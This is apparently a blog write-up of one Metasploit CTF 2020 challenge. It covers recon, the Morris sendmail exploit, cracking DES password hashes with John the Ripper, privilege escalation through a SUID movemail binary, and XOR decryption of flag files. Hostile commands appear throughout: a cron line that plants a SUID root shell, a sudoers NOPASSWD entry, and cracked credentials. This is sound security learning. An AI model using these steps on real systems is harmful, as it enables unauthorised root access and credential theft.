The Metasploit CTF 2020 is finally over! Four days full of security, UNIX, crypto, stego and more. How did it go for me and my team?
It was terrible. First of all, I am used to participate in much longer CTFs that last for weeks. I failed to check the deadline (idiot) and therefore lost precious time by slow and thorough work on day 1, giving myself a hack-free weekend and panicking at day 4 when my fellow teammate pointed out only a couple of hours are left. Anyway, we managed to retrieve one flag and find some clues to a few others. This post will be a one-challenge write-up, but more newbie friendly I believe, because I will attempt do describe individual steps in more detail. I am also going to use this post as a reference to save precious time in the future. If the target box is published (very unlikely), I will solve all the other challenges for sure!
Network
The infrastructure itself was pretty neatly prepared. First of all, a Kali jumpbox with SSH connectivity and provided SSH public key. Connecting to the machine was pretty straightforward, if you wonder how to do that it is done like this:
primo@desktop$ ssh -i metasploit_ctf_kali_ssh_key.pem ec2-user@<jumpbox> ec2-user@kali$ sudo su root@kali#
Cool, we have root permissions! That means we can run metasploit, nmap and other tools without too many problems.
The target box is directly connected to the jumpbox and we know its IP address. First of all, we are interested in services the target runs:
# nmap -sSV -O <target> PORT STATE SERVICE VERSION 22/tcp open tcpwrapped 23/tcp open nagios-nsca Nagios NSCA 25/tcp open smtp Sendmail 5.51/5.17 79/tcp open finger SGI IRIX or NeXTSTEP fingerd 80/tcp open http BaseHTTPServer 0.6 (Python 3.6.9) 111/tcp open rpcbind 2 (RPC #100000) 888/tcp open ypserv 2 (RPC #100004) 5100/tcp open admd? 5900/tcp open vnc VNC (protocol 3.8) 8000/tcp open http Apache httpd 2.4.38 ((Debian))
This is quite a number of services for a linux server. Be aware that, if not specified, nmap checks only most common ports. To do a full check of TCP ports run nmap -sSV -O <target> -p- instead. I did not saved the complete output of that, but there is nothing significant we were able to find on the other ports. This output will do for now.
Only TCP ports have been tested with the command. You should scan UDP ports as well with nmap -sU, but it usually takes time because of the way UDP ports are tested.
In the future I will first forward all ports to my desktop to avoid dealing with the jumpbox directly. My desktop is also Kali, therefore the jumpbox does not really provide any benefit. This is what you execute on your desktop to perform local forwarding:
ssh -i metasploit_ctf_kali_ssh_key.pem -L 2200:<target>:22 ec2-user@<jumpbox>
The command will ensure everything sent to localhost:2200 will be forwarded to <target>:22 through the jumpbox. Specify more -L arguments to forward more ports. Also remember that as normal user you can only use ports >1024. If you want to bind to lower ports, use sudo.
First Blood
What can we see in the nmap output? Nmap failed to detect the OS of the machine. This usually does not happen and it should be the first clue the services are really containers. Port 23, usually used for insecure telnet service, is open, which is funny, although obviously something different runs on that port. There is a finger daemon listening on tcp/79, which is weird – who uses finger in this century? And if you know a bit of the history of computer security, you may recall that sendmail (tcp/25) is infamously vulnerable piece of software.
When the basic reconnaisance with nmap is done, we can google the services and their version to determine whether there are vulnerabilities for them. The sendmail will be the very first candidate.

Exactly as expected. Metasploit should have exploit for something like that.
$ msfconsole ... msf5 > search sendmail Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/smtp/sendmail_prescan 2003-09-17 normal No Sendmail SMTP Address prescan Memory Corruption 1 exploit/linux/misc/hplip_hpssd_exec 2007-10-04 excellent No HPLIP hpssd.py From Address Arbitrary Command Execution 2 exploit/multi/http/phpmailer_arg_injection 2016-12-26 manual No PHPMailer Sendmail Argument Injection 3 exploit/solaris/lpd/sendmail_exec 2001-08-31 excellent No Solaris LPD Command Execution 4 exploit/unix/smtp/clamav_milter_blackhole 2007-08-24 excellent No ClamAV Milter Blackhole-Mode Remote Code Execution 5 exploit/unix/smtp/morris_sendmail_debug 1988-11-02 average Yes Morris Worm sendmail Debug Mode Shell Escape 6 post/linux/gather/enum_configs normal No Linux Gather Configurations
The exploit/unix/smtp/morris_sendmail_debug is exactly what we need. Use this, fill in the desired options and hack the planet:
msf5 > use 5 msf5 > setg RHOSTS <target> msf5 > setg LHOST <jumpbox's private address> msf5 > run
And viola, we have got a daemon shell on the machine. If you look around, the entire machine looks kinda dated, much like the vulnerability itself. In /etc/passwd there are even passwords! Furthermore, the hashes do not look strong at all – this will be cracked in a minute.
... karels:QOrZFUGpxDUlo:6:10:Mike &:/usr/guest/karels:/bin/csh sam:Yd6H6R7ejeIP2:7:10:& Leffler:/usr/guest/sam:/bin/csh wnj:ZDjXDBwXle2gc:8:10:Bill Joy:/usr/guest/wnj:/bin/csh mckusick:6l7zMyp8dZLZU:201:10:Kirk &:/usr/guest/mckusick:/bin/csh dmr:AiInt5qKdjmHs:10:31:Dennis Ritchie:/usr/guest/dmr: ...
If you look around more, you will find some emails stored in /var/spool/mail directory, one of them referring to 2-of-diamonds, Cliff Stoll, cuckoos and move-mail file. Google it and you will quickly realize this challenge has to do something with The Cuckoo’s Egg, quite famous computer security book. The hacker in the book used Hunter as a nickname, surprisingly there is one user with this username. Home directories are in /usr/guest directory. Hunter’s one is recently modified. Hunter is the target now.
Cracking
We have got some passwords to crack, let’s use John the Ripper for that:
$ john --wordlist=/wordlists/rockyou.txt /tmp/msf_passwd; john --show /tmp/msf_passwd
John will go through the provided passwd file, recognize the hash type used and try to find the password in rockyou dictionary that have the same hash value. Very quickly we get a number of successful results:
sam:raygun mckusick:foobar dmr:dmac1 shannon:hacker peter:...hello ralph:whocares eric:ithildin ghg:biteme miriam:lancelot kjd:heartbre tef:fatcat van:noexit rich:fun jim:haring falcon:joshua
Even googling for those hashes shows these credentials are quite popular. Unfortunately, no hunter credentials. What is the hash type anyway?
$ echo 'QOrZFUGpxDUlo' | hashid Analyzing 'QOrZFUGpxDUlo' [+] DES(Unix) [+] Traditional DES [+] DEScrypt
Consulting with Google reveals the fact the password is at most 8 characters long. This could be bruteforced in a reasonable time. John time again:
$ john --incremental:Alpha -min-len:4 -max-len:8 /tmp/msf_passwd2; john --show /tmp/msf_passwd2
And after a while the password is revealed as well: hunter:msfhack.
Note: Later I ran a full bruteforce attack on all users and revealed more passwords:
karels:botched kre:uiloop
Privilege Escalation
If you su to hunter, you get access to his home folder, with movemail utility present. How does it work? Clearly (googled and validated by experiments) it takes content of a source file and writes is into destination file (that cannot exist beforehand), sets file’s permissions to 0666 and truncates the source file. The binary is owned by root and has SUID bit set, that means the newly created file will be also owned by root. Effectively, we now have arbitrary read privilege, arbitrary write privilege (but the file must be created as new) and arbitrary truncate privilege. This is serious. Read privilege could help us find misconfigurations, sudo privileges and stuff, I can imagine we could truncate some configuration file to force a service run with default (possibly insecure) settings. But the arbitrary write privilege is the best, because it allows us to become root.
How to become root if we have root write permissions? There are multiple ways to do that. First of all, we can create sudoers file that will give us ultimate sudo privileges: echo 'hunter ALL=(root) NOPASSWD: ALL' > /tmp/sudo. Another way is with cron – we can schedule a job that will give us privileged shell, my favourite way is echo '* * * * * root cp /bin/bash /tmp/bash; chmod 4777 /tmp/bash' > /tmp/cron. That job will run every minute as root and copy /bin/bash file to /tmp/bash. Then SUID bit and execute bits are set so we can run this binary as the owner – root. For the sake of completeness, note that crontab files for individual users are in /var/spool/cron/crontabs directory. You now have two files, /tmp/sudo and /tmp/cron, where one of them must be written in an appropriate place – /etc/sudoers.d/ and /etc/cron.d/, respectively, and we win. The movemail utility will serve that purpose.
There may be more ways to get root privileges, at command for one-shot scheduling comes to mind. On older systems the /root/.ssh/authorized_keys2 file is a valid place for SSH public keys and rarely exists – you could put your key there and SSH directly (to root if allowed or to another sudo-capable user) or write /root/.ssh/authorized_keys directly if not used. If you are able to rewrite an already existing file, you could add yourself to a privileged group in /etc/group file or set own UID to 0 (root UID) in /etc/passwd.
The system we are dealing with is really dated. I did not check whether the sudoers technique can be used, the /etc/cron.d folder does not exist at all. But when consulting manual pages of the cron, there are 2 files that are used by cron and one of them, /usr/lib/crontab.local, did not exist. I ran following commands, waited <60 seconds and executed /tmp/sh:
$ echo '* * * * * root cp /bin/sh /tmp/sh; chown 4777 /tmp/sh' > cron $ /usr/guest/hunter/movemail cron /usr/lib/crontab.local
2 of diamonds
When fooling around, I noticed the shell is a bit unstable. Using metasploit’s download /etc/passwd /tmp/passwd feature did not work – only first few dozen bytes were downloaded. I knew this would be a problem – the flag will need to be exfiltrated and no normal tools, such as base64 or xxd were present on the system. Luckily, when attempting to get shell on other services, I came across exploit/bsd/finger/morris_fingerd_bof exploit in Metasploit Framework. It worked and I have got shell on the very same server. The user (nobody) was more restricted than daemon, but /tmp/sh binary for privilege escalation has been patiently waiting for me at this point.
Now to the flag. The file /etc/motd references Wargames movie with the sentence “Would you like to play a game?” and that could point us to games in /usr/games. One of the games, adventure, and also the lib directory have been recently modified. The 2_of_diamonds.dat file resides in the folder, but obviously it is not a PNG file. I tried to reverse-engineer the adventure bud did not find anything. The game must probably be played. I spent some serious amount of time on that, in the end I won the game with this walkthrough. When you defeat the dragon, take flag he dropped and carry it home, the password for the encrypted file is revealed:
The crypt(1) password for 2_of_diamonds.dat is `wyvern'.
The crypt utility is very old and it is note present in modern distributions (at least not in the one I am using). The decryption must be done on the target. Here is how it is done:
crypt wyvern < /usr/games/lib/2_of_diamonds.dat > /tmp/2od.png
The system is so old that it does not even recognize PNG format! Running file /tmp/2od.png showed it is simply ‘data’. Very funny. After download to normal machine, the file is successfully detected as a valid PNG image and its MD5 value is the FLAG for this challenge.

Other clues
I tested every credential revealed against all exposed SSH services. Two of the users, mskusick and peter were able to log into SSH on tcp/22. The system turned out to be OpenBSD and my teammate located a flag in /home/staff/ken. Ken was also in wheel group and getting his account would give us root permissions. Quick attempt to run local privilege escalation did not work and we put this task aside. Apparently the file has been XOR-encrypted. I believe I could have detected it using entropy and histograms and then I would XOR expected PNG header with the encrypted file in a hope to see some pattern – the key.
For some reason the port 23 was very interested in my dad. When I submitted a format string (such as %x), the service returned hexadecimal data – this is a clear sign of format string vulnerability (the service was probably using something like printf(user_input);, which is very insecure – it should be prinf("%s", user_input);). I did not have time to dive deep, and according to other write-ups the trick was something else.
There is an image with QR code on website at tcp/80. The QR code itself did not lead to anything and we quickly moved on.
I was able to connect to tcp/5900 with vncviewer. The navigation, however, was absolutely terrible, so I gave up.
WordPress ran on port 8000. I ran wpscan against it and NextGen plugin vulnerable to SQL injection has been reported. In a hurry I could not find the exploit quickly, for the future reference it is here. According to the only comment, there was user melman and his password was equivalent to his last name. Madagascar did cross my mind, but I did not realise it is his lastname we need. It’s Mankiewicz. Many players had problems with WordPress behaviour of using full URLs in hyperlinks, but with local port forwarding using the same port I had no trouble.
Edit: One of the fellow hackers sent me the encrypted 3-of-spades flag so I was able to validate my theory about XOR detection. From the hexdump overview I just felt the encryption is bad. There was a high amount of printable characters at the end of the file and the phrase ‘MZ’ occured many times. Entropy value (0.99848) suggested this is an encrypted file, but such high values also occur on compressed files, such as PNG images. For comparison, I checked the 2-of-diamond’s entropy: 0.99878. That is way too close to be more than simple encryption. Histograms are also similar:


XOR operation has many cool properties. One of them stays that plaintext ^ ciphertext = key. We do not know the plaintext, but we know a portion of it – the PNG header. At least the signature, according to http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html. Any NULL bytes in plaintext will be equal to key in the ciphertext – maybe the ‘MZ’ pattern noticed before? Precisely. This is hexdump of the 3-of-spades ciphertext xored with valid 2-of-diamonds:
00000000 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000010 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000020 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000030 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000040 4c9a 5fbe 4548 81a0 d910 7c4b a72c c3f8 |L._.EH....|K.,..| 00000050 762f 0874 8ae9 7fb8 958a bf6d 0acc 2659 |v/.t.......m..&Y|
I used Langdon to deal with mentioned operations – entropies, histograms, XOR, exporting to a file:
*** 3os = file:/tmp/3os.png [.] 3os = \xc4\n\x03\x1d@PWPMZMW\x0...x1f\x03\x1e\xe3\x18-\xd8 *** 2od = file:/tmp/2od.png [.] 2od = \x89PNG\r\n\x1a\n\x00\x00\x...00\x00\x00IEND\xaeB`\x82 *** entropy 3os 2od 3os 0.99848 (probably encrypted) 2od 0.99878 (probably encrypted) *** histogram 2od *** histogram 3os *** xored = xor 3os 2od *** hd xored 00000000 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000010 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000020 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000030 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a 4d5a |MZMZMZMZMZMZMZMZ| 00000040 4c9a 5fbe 4548 81a0 d910 7c4b a72c c3f8 |L._.EH....|K.,..| ... *** key = MZ [.] key = MZ *** result = xor 3os key *** export result /tmp/3-of-spades.png

Conclusion
Yes, I know the 2-of-diamonds was the same as in previous years and there is a ton of write-ups on the task. Not aware of the close deadline, I wanted to do it properly. That took most of my time. Even though I consider my progress in this CTF a failure, some lessons were learned. In the future I will:
- check the deadline first (!!!),
- use Frello or similar collaboration tool (as pointed out by cloud775 on MSF Slack),
- expect container approach from the start,
- do local forwarding for all ports if jumpbox is supposed to be used,
- check if the box generates traffic on its own with tcpdump or wireshark (apparently that was one of the challenges).